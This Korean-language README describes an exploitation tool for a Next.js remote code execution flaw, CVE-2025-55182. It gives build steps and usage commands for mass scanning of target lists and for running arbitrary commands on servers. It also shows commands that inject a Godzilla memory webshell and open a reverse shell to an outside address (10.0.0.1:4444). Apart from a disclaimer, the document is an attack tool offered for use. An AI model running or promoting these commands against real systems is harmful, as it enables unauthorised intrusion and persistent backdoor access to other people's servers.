CVE-2025-55182 Next.js RCE Scanner

CVE-2025-55182 취약점 스캔 및 활용 도구로, Next.js 애플리케이션의 원격 코드 실행 취약점을 대상으로 합니다. 배치 감지, 명령 실행, 고질라 메모리 셸 주입 및 리버스 셸 기능을 지원합니다.

⚠️ 본 도구는 보안 연구 및 승인된 테스트에만 사용해야 하며, 불법적인 용도로 사용하지 마십시오.

기능

• 다중 대상 스캔: 단일 URL, 파일 목록(줄마다 하나의 URL) 및 여러 .txt 파일이 포함된 폴더를 지원합니다.
• 멀티스레드 동시성: 스레드 수를 사용자 지정하여 스캔 효율성을 높일 수 있습니다.
• 취약점 검증: 난수의 곱을 계산하는 방식으로 취약점 존재 여부를 검증합니다.
• 명령 실행: 취약한 대상에서 임의의 시스템 명령을 실행합니다(Linux 및 Windows 지원).
• 고질라 메모리 셸 주입: 원클릭으로 고질라 메모리 셸 연결 정보를 생성합니다.
• 리버스 셸: 리버스 셸 기능을 지원합니다.
• 결과 저장: 성공적으로 활용된 URL과 상세 정보를 success.json에 자동 저장하고, 선택적으로 취약점 URL을 지정된 파일로 출력합니다.
• 프록시 지원: HTTP 프록시를 구성할 수 있어 Burp Suite 등의 도구와 연동하기 쉽습니다.
• 진행 상황 표시: 스캔 진행률, 경과 시간, 예상 남은 시간 등을 실시간으로 표시합니다.

[]

설치

사전 요구 사항

• Go 1.16 이상
• Git

저장소 클론

git clone https://github.com/luoqichen/CVE-2025-55182-POC.git
cd cve-2025-55182-POC

빌드

go build -o cve-2025-55182 main.go

실행

./cve-2025-55182 -h

사용 방법

매개변수 설명

예시

단일 대상 스캔

./cve-2025-55182 -u http://target.com:3000

파일 내 대량 대상 스캔

./cve-2025-55182 -f targets.txt -t 20 -o vuln.txt

명령 실행

./cve-2025-55182 -u http://target.com:3000 -c "whoami"

고질라 메모리 셸 사용

./cve-2025-55182 -u http://target.com:3000 -g

주입에 성공하면 도구는 고질라의 연결 주소, 비밀번호, 키 및 요청 헤더 정보를 출력합니다.

리버스 셸

./cve-2025-55182 -u http://target.com:3000 -rs 10.0.0.1:4444

프록시 활성화

./cve-2025-55182 -f targets.txt -p http://127.0.0.1:8080 -t 10

출력 설명

• success.json: 성공적으로 활용된 모든 대상의 상세 정보를 자동 저장합니다(명령 출력, 고질라 구성 등 포함).
• -o로 지정된 파일: 취약점 URL 목록을 저장합니다(줄마다 하나).

스캔 과정에서 진행률 표시줄과 발견된 취약점이 실시간으로 표시되며, 마지막에 통계 정보가 출력됩니다.

주의 사항

1. 권한 획득 확인: 승인 없이 타인의 시스템을 스캔하거나 공격하는 것은 불법 행위입니다.
2. 프록시 사용: Burp Suite로 트래픽을 확인해야 한다면 -p 매개변수로 프록시를 설정하세요.
3. 고질라 연결: 고질라 주입에 성공하면 고질라 클라이언트로 연결하십시오. 비밀번호와 키는 모두 무작위로 생성됩니다.
4. 타임아웃 설정: 네트워크 상태가 좋지 않은 대상의 경우 -to 매개변수 값을 적절히 늘리십시오.

면책 조항

본 도구는 보안 연구 및 승인된 테스트에만 사용되며, 사용자는 모든 법적 책임을 스스로 부담해야 합니다. 개발자는 어떠한 오용 행위에 대해서도 책임을 지지 않습니다.

License

MIT